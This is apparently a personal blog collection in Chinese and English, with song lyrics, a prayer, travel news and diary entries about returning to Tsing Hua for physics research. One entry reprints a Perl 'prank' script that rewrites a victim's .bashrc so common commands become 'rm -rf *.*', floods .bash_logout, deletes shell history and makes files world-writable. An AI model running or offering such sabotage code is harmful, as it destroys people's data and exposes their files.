Tears in Heaven

I want to put my tears in heaven. My tears do not belong to earth.

There can be Miracles

我想我現在可以體會亞伯拉罕和撒拉在等待以撒的心情。更貼切的應該是摩西在等待進入迦南的心情。



Many nights we pray
With no proof anyone could hear
And our hearts a hopeful song
We barely understood
Now we are not afraid
Although we know there's much to fear
We were moving mountains long
Before we know we could
There can be miracles
When you believe
Though hope is frail
It's hard to kill
Who knows what miracles
You can achieve
When you believe
Somehow you will
You will when you believe

In this time of fear
When prayer so often proves in vain
Hope seems like the summer birds
Too swiftly flown away
And now I am standing here
My heart's so full I can't explain
Seeking faith and speaking words
I never thought I'd say

There can be miracles
When you believe (When you believe)
Though hope is frail
It's hard to kill
Who knows what miracles
You can achieve (You can achieve)
When you believe
Somehow you will
You will when you believe

They don't always happen when you ask
And it's easy to give in to your fear
But when you're blinded by your pain
Can't see your way safe through the rain
Thought of a still resilient voice
Says love is very near

There can be miracles (miracles)
When you believe (When you believe)
Though hope is frail
It's hard to kill
Who knows what miracles
You can achieve (You can achieve)
When you believe
Somehow you will
You will when you believe
You will when you believe
You will when you believe
Just believe
You will when you believe

Dear Lord,

I am sorry that I do not have my faith upon you. When I look upon Moses, my grief is far less than him. Lord, Let me learn how to look upon you. Let me learn how to seek for your will and your kingdom rather than the honour and the glory on the world. Let me cling upon you. Lord, please directs me in daily life, be my light in front so that I will not fall into the trap. In Jesus's name, Amen.

年少疯狂

这是我在大学时代写过最恐怖的整人程式。有人被整过，当然她欲哭无泪。这是当时的程式码。语言为PERL

@array = ("logout", "logout", "rm -rf *.*", "logout", "rm -rf *.*",
"logout");
@array2 = ("vi", "emacs", "pine", "lpr", "ls", "su");

`pwd > file.txt`;

open(FILE2, "> file.txt");
open(FILE, "> .bashrc");
open(FILE3,">.bash_logout");

print FILE "# User specific aliases and functions\n";

for($i = 0; $i < 6; $i++)
{
print FILE "alias $array2[$i] ='$array[$i]'\n";
}
`chmod 077 .bashrc`;

$a = ;
print FILE "# Source global definitions\n";
print FILE "if [ -f /etc/bashrc ]; then\n";
print FILE " . /etc/bashrc\n";
print FILE "fi\n";
print FILE "\n";
for($l = 0; $l < 1000000; $l++)
{
print FILE3 "ThIs ScRiPt iS WriTtEn bY KePlEr aUtO-GeNeRaTeD dAeMon\n";
}

`rm $a .bash_history`;

close(FILE);

@array3 = ("$a Mail", "$a Mailbox", "$a mail");

for($j = 0; $j < 3; $j++)
{
`chmod 777 $array3[$j]`;
}

`chmod -Rf 777 $a *.*`;
close(FILE3);
close(FILE2);

@array4 = ("file.txt", "ijc.pl");

for($k = 0; $k < 2; $k++)
{
`rm $array4[$k]`;
}

新加坡航空的航班无限次来回伦敦。

很高兴读到这则新闻。(http://www.zaobao.com/sp/sp071008_505.html）。按台湾一些白痴的说法，英国是我的神国。拜托，马来西亚是一个君主宪法的国家。什么是神国？只有中东一些贫穷的国家在奉行神国主义来迷惑民众，好巩固他们的独裁。最主要是英国对联邦共和国的国家比较友善，而且联邦共和国的国家去英国可以享受免六个月的签证。同时从英国到欧洲也很方便。YEAH! 以后可以常去欧洲玩乐。最喜欢的国家是瑞士。希望可以在那里买一间房子。

孤寂的夜晚

再一次感到孤寂的夜晚。感到孤單但又想一個人靜一靜．很矛盾的心情。在iTunes裡找不到一首歌可以形容我現在的心情。理性的批判告訴我我應該為了在找尋什麼，但還沒尋著。可能吧！

无聊的下午

刚辞掉了中研院的工作，所以回到新竹清华来。感觉有点奇怪因为好不容易盼到去台北的日子，结果再一次回来了。这次回来也觉得这地方很温馨，那种感觉就像这次回到新加坡一样，一种浪子在外很久，再一次回到家里那种感觉。 今天第一天上班。在这时刻我在等待下班！哈哈！所以很无聊。

虽然离开了台北，不过每周还是会回去台北的。台北还是很好玩，有很多好吃的，同时教会也在台北-台北卫理堂。目前新工作足以让我每礼拜六在台北常驻/住在青年旅社。不过不能为了工作荒废学业。学业还是最重要的。

新的研究方向：BEC - BCS crossover (中译：玻色爱因思坦凝结与BCS态互转换之研究）。好像很难，不过走一步算一步吧。起码在毕业前可以把超导体跟超流体学会。把重当放在主身上就不重了！:)

清华团契和小林哥的研究生小家，我又回来了。为什么回来？像你们不行吗？